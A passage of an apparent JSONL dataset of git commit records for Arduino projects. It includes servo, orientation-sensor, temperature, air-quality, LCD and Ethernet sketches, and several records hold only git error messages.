\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Triple_IR_and_Motors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21851a1ce3316f7fcc9a86a095f33ef7978d492c","subject":"Make Arduino Servo Test","message":"Make Arduino Servo Test\n\nHopefully the arduino will be able to run the servo better than the rpi. This will repeatedly sweep the servo, 0 to 180 then 180 to 0 and looped.\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/lidar_servo_test\/lidar_servo_test.ino","new_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/lidar_servo_test\/lidar_servo_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LIDAR' did not match any file(s) known to git\nerror: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Extraction\/LidarCommands\/Currently' did not match any file(s) known to git\nerror: pathspec 'Used\/lidar_servo_test\/lidar_servo_test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"def09da27db158c685c61a2209c551a717bb39ad","subject":"First commit of Claw code for ITTiny13","message":"First commit of Claw code for ITTiny13\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/MinimalGripper\/ClawForITTiny13.ino","new_file":"Muscle\/Arduino Code\/MinimalGripper\/ClawForITTiny13.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/MinimalGripper\/ClawForITTiny13.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d78f802ac95d59e9d303d66ae43dcb5ead1038b3","subject":"seperate example for M2X","message":"seperate example for M2X\n","repos":"attm2x\/m2x-serial-modem,attm2x\/m2x-serial-modem,netarc\/serial-modem,netarc\/serial-modem","old_file":"SerialModem\/examples\/ArduinoWithM2X\/ArduinoM2X.ino","new_file":"SerialModem\/examples\/ArduinoWithM2X\/ArduinoM2X.ino","new_contents":"#include \"jsonlite.h\"\n#include \"M2XStreamClient.h\"\n#include \"SerialModem.h\"\n\nSerialModemClient client;\nchar m2xFeedId[] = \"feed-id\"; \/\/ Feed you want to post to\nchar m2xKey[] = \"access-key\"; \/\/ Your M2X access key\nM2XStreamClient m2xClient(&client, m2xKey);\n\nvoid setup() {\n Serial.begin(115200);\n while (!Serial);\n\n SerialModem.setHardwareInterface(INTERFACE_SIM5218);\n SerialModem.begin(&Serial, 115200);\n while (!SerialModem.ready()) {\n Serial.println(\"waiting for modem ready..\");\n delay(100);\n }\n\n while (SerialModem.getNetworkStatus() < NETWORK_STATUS_ROAMING) {\n Serial.println(\"waiting for network registration\");\n delay(2000);\n }\n\n while (!SerialModem.setAPN(PROGMEM_STR(\"m2m.com.attz\"))) {\n Serial.println(\"setting APN\");\n delay(2000);\n }\n}\n\nvoid loop() {\n int result = m2xClient.post(m2xFeedId, \"temperature\", 12.1f);\n Serial.print(\"M2x client response code: \");\n Serial.println(result);\n\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialModem\/examples\/ArduinoWithM2X\/ArduinoM2X.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ceee63db8055204da7dceb7301d7b701d80b795a","subject":"added AHRS Test","message":"added AHRS Test\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"ahrsCodeOutline\/ahrsCodeOutline.ino","new_file":"ahrsCodeOutline\/ahrsCodeOutline.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM303_U.h>\n#include <Adafruit_9DOF.h>\n#include <Adafruit_L3GD20_U.h>\n\n\/* Assign a unique ID to the sensors *\/\nAdafruit_9DOF dof = Adafruit_9DOF();\nAdafruit_LSM303_Accel_Unified accel = Adafruit_LSM303_Accel_Unified(30301);\nAdafruit_LSM303_Mag_Unified mag = Adafruit_LSM303_Mag_Unified(30302);\n\n\/**************************************************************************\/\n\/*!\n @brief Initialises all the sensors used by this example\n*\/\n\/**************************************************************************\/\nvoid initSensors()\n{\n if(!accel.begin())\n {\n \/* There was a problem detecting the LSM303 ... check your connections *\/\n Serial.println(F(\"Ooops, no LSM303 detected ... Check your wiring!\"));\n while(1);\n }\n if(!mag.begin())\n {\n \/* There was a problem detecting the LSM303 ... check your connections *\/\n Serial.println(\"Ooops, no LSM303 detected ... Check your wiring!\");\n while(1);\n }\n}\n\n\/**************************************************************************\/\n\/*!\n\n*\/\n\/**************************************************************************\/\nvoid setup(void)\n{\n Serial.begin(9600);\n Serial.println(F(\"Adafruit 9 DOF Pitch\/Roll\/Heading Example\")); Serial.println(\"\");\n \n \/* Initialise the sensors *\/\n initSensors();\n}\n\n\/**************************************************************************\/\n\/*!\n @brief Constantly check the roll\/pitch\/heading\/altitude\/temperature\n*\/\n\/**************************************************************************\/\nvoid loop(void)\n{\n sensors_event_t accel_event;\n sensors_event_t mag_event;\n sensors_vec_t orientation;\n\n \/* Read the accelerometer and magnetometer *\/\n accel.getEvent(&accel_event);\n mag.getEvent(&mag_event);\n\n \/* Use the new fusionGetOrientation function to merge accel\/mag data *\/ \n if (dof.fusionGetOrientation(&accel_event, &mag_event, &orientation))\n {\n \/* 'orientation' should have valid .roll and .pitch fields *\/\n Serial.print(F(\"Orientation: \"));\n Serial.print(orientation.roll);\n Serial.print(F(\" \"));\n Serial.print(orientation.pitch);\n Serial.print(F(\" \"));\n Serial.print(orientation.heading);\n Serial.println(F(\"\"));\n }\n \n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ahrsCodeOutline\/ahrsCodeOutline.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"206f38fe5d6ef0571af457d41c31a28a2e135f18","subject":"ADD - Added the first sketch to be executed when hardware is assembled.","message":"ADD - Added the first sketch to be executed when hardware is assembled.\n","repos":"CasperPlatform\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches","old_file":"Arduino\/Lidar Controller\/Lidar_Implementation\/Lidar_Module_Test_1\/Lidar_Module_Test_1.ino","new_file":"Arduino\/Lidar Controller\/Lidar_Implementation\/Lidar_Module_Test_1\/Lidar_Module_Test_1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Lidar' did not match any file(s) known to git\nerror: pathspec 'Controller\/Lidar_Implementation\/Lidar_Module_Test_1\/Lidar_Module_Test_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21a893727ebab6b00d4084b56db3ba8a8820e00e","subject":"Nightly","message":"Nightly\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/POC\/wifi-led-something\/wifi-led-something.ino","new_file":"projects\/POC\/wifi-led-something\/wifi-led-something.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8e3d8c83df5f6f8a3cf6b14098a5fe861d7649f9","subject":"Updated example.","message":"Updated example.\n","repos":"matmunk\/DS18B20","old_file":"examples\/Single\/Single.ino","new_file":"examples\/Single\/Single.ino","new_contents":"\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013 Mathias Munk Hansen\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <OneWire.h>\n#include <DS18B20.h>\n\n\/\/ Low alarm in degrees Celcius.\n#define LOW_ALARM 20\n\n\/\/ High alarm in degrees Celcius.\n#define HIGH_ALARM 25\n\n\/\/ 1-Wire devices connected to digital pin 2 on the Arduino.\nDS18B20 ds(2);\n\n\/\/ Address of the device.\nuint8_t address[] = {40, 250, 31, 218, 4, 0, 0, 52};\n\n\/\/ Indicates if the device was successfully selected.\nuint8_t selected;\n\nvoid setup()\n{\n Serial.begin(9600);\n \n \/\/ Select device.\n selected = ds.select(address);\n \n if(selected)\n {\n \/\/ Set alarms.\n ds.setAlarms(LOW_ALARM, HIGH_ALARM);\n }\n else\n {\n Serial.println(\"Error\");\n }\n}\n\nvoid loop()\n{\n \/\/ Check if the device has an active alarm condition.\n if(selected)\n {\n if(ds.hasAlarm())\n {\n Serial.print(\"Warning! Temperature is \");\n Serial.print(ds.getTempC());\n Serial.println(\" C\");\n }\n }\n else\n {\n Serial.println(\"Error\");\n }\n \n \/\/ Wait 10 seconds.\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Single\/Single.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff8922a7cf275656b0c0826e22071e19eeba9859","subject":"Adds first draft of Light Shield Arduino-side code.","message":"Adds first draft of Light Shield Arduino-side code.\n","repos":"jzheng84\/igvc-software,monstorium\/igvc-software,jzheng84\/igvc-software,nareddyt\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thomaswyatt01\/igvc-software,seanrsain\/igvc-software,ytulsiani\/igvc-software,prabhu-dev\/LineDetectorLengthFix,dpattison3\/igvc-software,seanrsain\/igvc-software,monstorium\/igvc-software,thomaswyatt01\/igvc-software,seanrsain\/igvc-software,kscharm\/igvc-software,jgkamat\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,nareddyt\/igvc-software,dpattison3\/igvc-software,rortiz9\/igvc-software,zachcmathews\/igvc-software,rmkeezer\/igvc-software,zachcmathews\/igvc-software,nareddyt\/igvc-software,sayakchatterjee\/igvc-software,RoboJackets\/igvc-software,DavidPurcell\/igvc-software,sayakchatterjee\/igvc-software,vmurahari3\/igvc-software,DavidPurcell\/igvc-software,thaeds\/igvc-software,rmkeezer\/igvc-software,jondolan\/igvc-software,dpattison3\/igvc-software,ytulsiani\/igvc-software,rqiu8\/igvc-software,sgadgil6\/igvc-software,thaeds\/igvc-software,jondolan\/igvc-software,thaeds\/igvc-software,sayakchatterjee\/igvc-software,jondolan\/igvc-software,kscharm\/igvc-software,seanrsain\/igvc-software,rqiu8\/igvc-software,vmurahari3\/igvc-software,jgkamat\/igvc-software,monstorium\/igvc-software,vmurahari3\/igvc-software,monstorium\/igvc-software,rqiu8\/igvc-software,dpattison3\/igvc-software,sayakchatterjee\/igvc-software,zachcmathews\/igvc-software,ytulsiani\/igvc-software,seanrsain\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jgkamat\/igvc-software,sgadgil6\/igvc-software,DavidPurcell\/igvc-software,ytulsiani\/igvc-software,prabhu-dev\/LineDetectorLengthFix,ytulsiani\/igvc-software,thomaswyatt01\/igvc-software,rortiz9\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software,kscharm\/igvc-software,thaeds\/igvc-software,jzheng84\/igvc-software,jgkamat\/igvc-software,rmkeezer\/igvc-software,thomaswyatt01\/igvc-software,RoboJackets\/igvc-software,sgadgil6\/igvc-software,sayakchatterjee\/igvc-software,thaeds\/igvc-software,RoboJackets\/igvc-software,nareddyt\/igvc-software,DavidPurcell\/igvc-software,RoboJackets\/igvc-software,rqiu8\/igvc-software,rortiz9\/igvc-software,vmurahari3\/igvc-software,sgadgil6\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,monstorium\/igvc-software,nareddyt\/igvc-software,jzheng84\/igvc-software,sgadgil6\/igvc-software,zachcmathews\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jondolan\/igvc-software,kscharm\/igvc-software,thomaswyatt01\/igvc-software","old_file":"arduino\/LightShield\/LightShield.ino","new_file":"arduino\/LightShield\/LightShield.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"af5468e1cbc241f8347555d401874135a9899773","subject":"Added v0.54 firmware","message":"Added v0.54 firmware\n\n- support for TSL2591 sensor\n- support for NeoPixel\n","repos":"NationalAssociationOfRealtors\/IndoorAirQualitySensor","old_file":"firmware\/SensorBoard_node_054\/SensorBoard_node_054.ino","new_file":"firmware\/SensorBoard_node_054\/SensorBoard_node_054.ino","new_contents":"#include <RFM69.h> \/\/ https:\/\/github.com\/LowPowerLab\/RFM69\n#include <SPI.h>\n#include <Arduino.h>\n#include <Wire.h> \n#include <Adafruit_SHT31.h> \/\/https:\/\/github.com\/adafruit\/Adafruit_SHT31\n#include <Adafruit_BMP280.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_BMP280_Library\n#include <Adafruit_Sensor.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_Sensor\n#include <Adafruit_TSL2591.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_TSL2591_Library\n#include <Adafruit_NeoPixel.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_NeoPixel\n#include <avr\/sleep.h>\n#include <avr\/wdt.h>\n\n\/\/ define node parameters\nchar node[] = \"25\";\n#define NODEID 25 \/\/ same sa above - must be unique for each node on same network (range up to 254, 255 is used for broadcast)\n#define GATEWAYID 1\n#define NETWORKID 101\n#define FREQUENCY RF69_915MHZ \/\/Match this with the version of your Moteino! (others: RF69_433MHZ, RF69_868MHZ)\n#define ENCRYPTKEY \"Tt-Mh=SQ#dn#JY3_\" \/\/has to be same 16 characters\/bytes on all nodes, not more not less!\n#define IS_RFM69HW \/\/uncomment only for RFM69HW! Leave out if you have RFM69W!\n#define LED 9 \/\/ led pin\n#define PIN 6 \/\/ NeoPixel driver pin\n\n\/\/ define objects\nRFM69 radio;\nAdafruit_BMP280 bme; \/\/ I2C\nAdafruit_SHT31 sht31 = Adafruit_SHT31();\nAdafruit_TSL2591 tsl = Adafruit_TSL2591(2591); \/\/ pass in a number for the sensor identifier (for your use later)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, PIN, NEO_GRB + NEO_KHZ800); \/\/ number of pixels, digital pin, pixel flags\n\n\/\/ define IAQ core global variables\n#define iaqaddress 0x5A\nuint16_t co2;\nuint8_t statu;\nint32_t resistance;\nuint16_t tvoc;\n\n\/\/ define global variables\nlong lux;\nfloat bar;\nfloat sound;\n\nchar dataPacket[150];\n\nISR(WDT_vect) \/\/ Interrupt service routine for WatchDog Timer\n{\n wdt_disable(); \/\/ disable watchdog\n}\n\nvoid setup()\n{\n pinMode(10, OUTPUT); \/\/ Radio SS pin set as output\n \n Serial.begin(115200);\n Serial.println(\"Setup\");\n\n radio.initialize(FREQUENCY,NODEID,NETWORKID);\n#ifdef IS_RFM69HW\n radio.setHighPower(); \/\/uncomment only for RFM69HW!\n#endif\n radio.encrypt(ENCRYPTKEY);\n \n pinMode(9, OUTPUT); \/\/ pin 9 controls LED\n \n strip.begin(); \/\/ initialize neo pixels\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n Serial.println(\"Ready\");\n}\n\n\nvoid sleep()\n{\n Serial.flush(); \/\/ empty the send buffer, before continue with; going to sleep\n \n radio.sleep();\n \n cli(); \/\/ stop interrupts\n MCUSR = 0;\n WDTCSR = (1<<WDCE | 1<<WDE); \/\/ watchdog change enable\n WDTCSR = 1<<WDIE | (1<<WDP3) | (0<<WDP2) | (0<<WDP1) | (0<<WDP0); \/\/ set prescaler to 4 second\n sei(); \/\/ enable global interrupts\n\n byte _ADCSRA = ADCSRA; \/\/ save ADC state\n ADCSRA &= ~(1 << ADEN);\n\n asm(\"wdr\");\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n cli(); \n\n sleep_enable(); \n sleep_bod_disable();\n sei(); \n sleep_cpu(); \n \n sleep_disable(); \n sei(); \n\n ADCSRA = _ADCSRA; \/\/ restore ADC state (enable ADC)\n delay(1);\n}\n\n\nvoid loop() \n{\n sleep();\n\n readSensors();\n \n Serial.println(dataPacket);\n delay(50);\n\n \/\/ send datapacket\n radio.sendWithRetry(GATEWAYID, dataPacket, strlen(dataPacket), 5, 100); \/\/ send data, retry 5 times with delay of 100ms between each retry\n dataPacket[0] = (char)0; \/\/ clearing first byte of char array clears the array\n \n \/\/fadeLED();\n \/\/colorWipe(strip.Color(0, 255, 0), 10); \/\/ Green\n \/\/strip.show();\n for (int i = 0; i <= 255; i++)\n {\n colorWipe(strip.Color(0,i,0), 1);\n }\n for (int i = 255; i > 0; i--)\n {\n colorWipe(strip.Color(0,i,0), 2);\n }\n colorWipe(strip.Color(0, 0, 0), 1); \/\/ turn pixel off\n strip.show();\n}\n\n\nvoid readSensors()\n{\n \/\/T\/RH\n sht31.begin(0x44);\n float temp = sht31.readTemperature();\n float rh = sht31.readHumidity();\n\n \n \/\/light\n tsl.begin();\n tsl.setGain(TSL2591_GAIN_MED); \/\/ 25x gain\n tsl.setTiming(TSL2591_INTEGRATIONTIME_100MS); \/\/ shortest integration time (bright light)\n sensors_event_t event;\n tsl.getEvent(&event);\n if ((event.light == 0) | (event.light > 4294966000.0) | (event.light <-4294966000.0))\n {\n lux = 0; \/\/ invalid value; replace with 'NAN' if needed\n }\n else\n {\n lux = event.light;\n }\n\n \n \/\/ IAQ core\n Wire.requestFrom(iaqaddress, 9);\n co2 = (Wire.read()<< 8 | Wire.read()); \n statu = Wire.read();\n resistance = (Wire.read()& 0x00)| (Wire.read()<<16)| (Wire.read()<<8| Wire.read());\n tvoc = (Wire.read()<<8 | Wire.read());\n\n \n \/\/ ADMP401 mic for sound level\n float sumADC=0.0;\n for(int i=0;i<5;i++)\n {\n sumADC = sumADC + analogRead(A0); \/\/ take avg of 5 readings\n }\n float averageADC = sumADC\/5.0;\n float volts = (averageADC\/1023.0 * 3.3);\n sound = (20 * log10(volts\/0.007943)) - 42 + 94 - 60; \/\/ VRMS = 0.007943; -42dB is sensitivity of ADMP401 mic; 1 Pa = 94 dB SPL RMS; 60dB is gain of amplifier\n \/\/ the above is uncalibrated sound level - needs to be calibrated with reference to an accurate sound level meter in varying SPLs, frequencies and environments.\n \n\n \/\/ BMP280 air pressure sensor\n bme.begin();\n float bar = bme.readPressure();\n bar = bar \/ 3386.39; \/\/ convert pressure in Pa to inches of Mercury\n \n\n\n \/\/ define character arrays for all variables\n \/\/char _i[4];\n char _t[7];\n char _h[7];\n char _c[7];\n char _o[7];\n char _g[7];\n char _l[7];\n char _n[7];\n char _s[7];\n char _v[7];\n \n \/\/ convert all flaoting point and integer variables into character arrays\n \/\/dtostrf(nodeID, 2, 0, _i);\n dtostrf(temp, 3, 1, _t); \/\/ this function converts float into char array. 3 is minimum width, 2 is decimal precision\n dtostrf(rh, 3, 1, _h);\n dtostrf(co2, 3, 0, _c); \n dtostrf(bar, 3, 2, _g);\n dtostrf(lux, 1, 0, _l);\n dtostrf(sound, 1, 1, _s);\n dtostrf(tvoc, 1, 0, _v);\n delay(50);\n \n dataPacket[0] = 0; \/\/ first value of dataPacket should be a 0\n \n \/\/ create datapacket by combining all character arrays into a large character array\n strcat(dataPacket, \"i:\");\n strcat(dataPacket, node);\n strcat(dataPacket, \",t:\");\n strcat(dataPacket, _t);\n strcat(dataPacket, \",h:\");\n strcat(dataPacket, _h);\n strcat(dataPacket, \",c:\");\n strcat(dataPacket, _c);\n strcat(dataPacket, \",g:\");\n strcat(dataPacket, _g);\n strcat(dataPacket, \",l:\");\n strcat(dataPacket, _l);\n strcat(dataPacket, \",s:\");\n strcat(dataPacket, _s);\n strcat(dataPacket, \",v:\");\n strcat(dataPacket, _v);\n delay(50);\n}\n\n\n\n\nvoid fadeLED()\n{\n int brightness = 0;\n int fadeAmount = 5;\n for(int i=0; i<510; i=i+5) \/\/ 255 is max analog value, 255 * 2 = 510\n {\n analogWrite(9, brightness); \/\/ pin 9 is LED\n \n \/\/ change the brightness for next time through the loop:\n brightness = brightness + fadeAmount; \/\/ increment brightness level by 5 each time (0 is lowest, 255 is highest)\n \n \/\/ reverse the direction of the fading at the ends of the fade:\n if (brightness <= 0 || brightness >= 255)\n {\n fadeAmount = -fadeAmount;\n }\n \/\/ wait for 20-30 milliseconds to see the dimming effect\n delay(10);\n }\n digitalWrite(9, LOW); \/\/ switch LED off at the end of fade\n}\n\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/SensorBoard_node_054\/SensorBoard_node_054.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"248156afa77ed2e88d3785a1fa3d6f3d5eb30172","subject":"Added comments for LCD 5110","message":"Added comments for LCD 5110\n","repos":"DavidUser\/Energia,qtonthat\/Energia,brianonn\/Energia,bobintornado\/Energia,qtonthat\/Energia,brianonn\/Energia,radiolok\/Energia,danielohh\/Energia,battosai30\/Energia,cevatbostancioglu\/Energia,bobintornado\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,NoPinky\/Energia,dvdvideo1234\/Energia,qtonthat\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,qtonthat\/Energia,croberts15\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,bobintornado\/Energia,bobintornado\/Energia,DavidUser\/Energia,vigneshmanix\/Energia,croberts15\/Energia,dvdvideo1234\/Energia,martianmartin\/Energia,sanyaade-iot\/Energia,NoPinky\/Energia,martianmartin\/Energia,NoPinky\/Energia,battosai30\/Energia,vigneshmanix\/Energia,NoPinky\/Energia,sanyaade-iot\/Energia,brianonn\/Energia,vigneshmanix\/Energia,NoPinky\/Energia,bobintornado\/Energia,croberts15\/Energia,dvdvideo1234\/Energia,radiolok\/Energia,qtonthat\/Energia,radiolok\/Energia,DavidUser\/Energia,danielohh\/Energia,martianmartin\/Energia,croberts15\/Energia,sanyaade-iot\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,danielohh\/Energia,qtonthat\/Energia,vigneshmanix\/Energia,battosai30\/Energia,martianmartin\/Energia,qtonthat\/Energia,DavidUser\/Energia,brianonn\/Energia,bobintornado\/Energia,martianmartin\/Energia,DavidUser\/Energia,vigneshmanix\/Energia,brianonn\/Energia,radiolok\/Energia,martianmartin\/Energia,croberts15\/Energia,croberts15\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,cevatbostancioglu\/Energia,NoPinky\/Energia,battosai30\/Energia,vigneshmanix\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,brianonn\/Energia,dvdvideo1234\/Energia,cevatbostancioglu\/Energia,sanyaade-iot\/Energia,dvdvideo1234\/Energia,danielohh\/Energia,croberts15\/Energia,brianonn\/Energia,NoPinky\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,dvdvideo1234\/Energia,vigneshmanix\/Energia,bobintornado\/Energia,DavidUser\/Energia,radiolok\/Energia,DavidUser\/Energia","old_file":"examples\/7.Display\/LCD_5110_430\/LCD_5110_430.ino","new_file":"examples\/7.Display\/LCD_5110_430\/LCD_5110_430.ino","new_contents":"\/\/\n\/\/ LCD_5110_main.pde\n\/\/ Sketch \n\/\/ ----------------------------------\n\/\/ Developed with embedXcode\n\/\/\n\/\/ Project LCD 5110\n\/\/ Created by Rei VILO on 28\/05\/12\n\/\/ Copyright (c) 2012 http:\/\/embeddedcomputing.weebly.com\n\/\/ Licence CC = BY SA NC\n\/\/\n\n\/\/ Core library\n#if defined(__MSP430G2452__) || defined(__MSP430G2553__) || defined(__MSP430G2231__) \/\/ LaunchPad specific\n#include \"Energia.h\"\n#else\n#error Board not supported\n#endif\n\n\/\/ Include application, user and local libraries\n#include \"LCD_5110.h\"\n#include \"Thermometer_430.h\"\n\n\/\/ Variables\n\/\/ Option 1: parameters with suggested pins\n\/\/LCD_5110 myScreen(P2_4, P2_3, P2_2, P2_1, P2_0, P2_5, PUSH2);\n\n\/\/#define _pinChipSelect P2_4\n\/\/#define _pinSerialClock P2_3\n\/\/#define _pinSerialData P2_2\n\/\/#define _pinDataCommand P2_1\n\/\/#define _pinReset P2_0\n\/\/#define _pinBacklight P2_5\n\/\/#define _pinPushButton PUSH2\n\n\/\/ Option 2: no parameters, pins compatible with LCD BoosterPack \/ Nokia 7110\nLCD_5110 myScreen;\n\n\/\/LCD_5110(P2_2, \/\/ Chip Select *\n\/\/ P2_4, \/\/ Serial Clock *\n\/\/ P2_0, \/\/ Serial Data *\n\/\/ P2_3, \/\/ Data\/Command *\n\/\/ P1_0, \/\/ Reset *\n\/\/ P2_1, \/\/ Backlight\n\/\/ PUSH2); \/\/ Push Button 0\n\n\nThermometer_430 myThermometer;\nboolean\tbacklight = false;\n\n\n\/\/ Add setup code \nvoid setup() { \n myThermometer.begin();\n \n myScreen.begin();\n \n myScreen.setFont(1);\n myScreen.text(1, 1, \"MSP430\");\n myScreen.setFont(0);\n myScreen.text(0, 5, \"1234567890abcd\");\n \n delay(2000);\n myScreen.clear();\n myScreen.text(2, 0, \"Thermometer\");\n myScreen.text(0, 5, \"off\");\n \n}\n\n\/\/ Display mask\nchar display[8] = {' ', ' ', ' ', '.', ' ', 0x7f, 'C', 0x00};\n\n\n\/\/ Add loop code \nvoid loop() {\n if (myScreen.getButton()) {\n backlight = ~backlight;\n myScreen.setFont(0);\n myScreen.text(0, 5, backlight ? \"on \" : \"off\");\n myScreen.setBacklight(backlight);\n }\n \n myThermometer.get();\n \n \/\/ Temperature display \n int32_t number = myThermometer.temperatureX10();\n \n\tboolean flag = (number<0);\n if (flag) number = -number;\n \n display[4] = 0x30 + (number%10);\n number \/= 10;\n display[2] = 0x30 + (number%10);\n number \/= 10;\n\tif (number>0) {\n display[1] = 0x30 + (number%10); \n } else if (flag) { \n display[1] = '-';\n flag = false;\n } else {\n display[1] = ' '; \n }\n number \/= 10;\n\tif (number>0) display[0] = 0x30 + (number%10);\n else if (flag) display[0] = '-';\n else display[0] = ' ';\n \n myScreen.setFont(1);\n myScreen.text(0, 2, display);\n \n delay(500);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/7.Display\/LCD_5110_430\/LCD_5110_430.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0e7b525865834b474e0e9225465c512a0bddd6f9","subject":"Add arduino project","message":"Add arduino project\n","repos":"desireesantos\/smart_trash,desireesantos\/smart_trash","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"\/*\n Web Server\n\n A simple web server that shows the value of the analog input pins.\n using an Arduino Wiznet Ethernet shield.\n\n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n * Analog inputs attached to pins A0 through A5 (optional)\n\n created 18 Dec 2009\n by David A. Mellis\n modified 9 Apr 2012\n by Tom Igoe\n\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\nbyte mac[] = {\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n};\nIPAddress ip(192, 168, 2, 15);\n\n\/\/ Google DNS\nIPAddress myDns(8, 8, 8, 8);\n\n\/\/ Initialize the Ethernet server library\n\/\/ with the IP address and port you want to use\n\/\/ (port 80 is default for HTTP):\n\/\/ EthernetServer server(80);\n\n\/\/\nchar serverName[] = \"smart-trash.app.hackinpoa.tsuru.io\"; \/\/ name address for Google (using DNS)\n\nEthernetClient sendClient;\n\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nconst unsigned long postingInterval = 1L * 1000L; \/\/ Every second (10000)\n\nString postData;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n\n \/\/ start the Ethernet connection and the server:\n Ethernet.begin(mac, ip, myDns);\n \/\/server.begin();\n \/\/Serial.print(\"server is at \");\n Serial.println(Ethernet.localIP());\n}\n\n\nvoid loop() {\n\n readResponse();\n\n \/\/ listen for incoming clients\n \/*\n EthernetClient client = server.available();\n if (client) {\n Serial.println(\"new client\");\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if 